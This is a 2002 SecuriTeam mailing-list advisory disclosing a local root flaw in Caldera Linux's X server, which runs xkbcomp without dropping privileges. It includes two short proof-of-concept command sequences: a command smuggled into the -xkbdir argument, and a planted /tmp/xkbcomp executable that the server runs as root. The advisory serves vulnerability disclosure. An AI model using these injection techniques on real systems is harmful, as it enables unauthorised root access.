[EXPL] Caldera Xserver Exploit Code (xkbcomp)

From: support@securiteam.com
Date: 08/30/02

From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 30 Aug 2002 11:44:57 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Caldera Xserver Exploit Code (xkbcomp)


The Xserver of the Caldera operating system calls xkbcomp in an insecure
manner while not dropping privileges. The following is a proof of concept
exploit code for the Caldera Linux X11 server.


The following proof of concepts were provided by Pavel Kankovsky:
   $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
   [exit X server]
   $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

   $ cat > /tmp/xkbcomp
   id > /tmp/I_WAS_HERE
   $ chmod a+x /tmp/xkbcomp
   $ Xserver -xkbdir /tmp
   [X server executes /tmp/xkbcomp]


The information has been provided by Pavel Kankovsky.


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.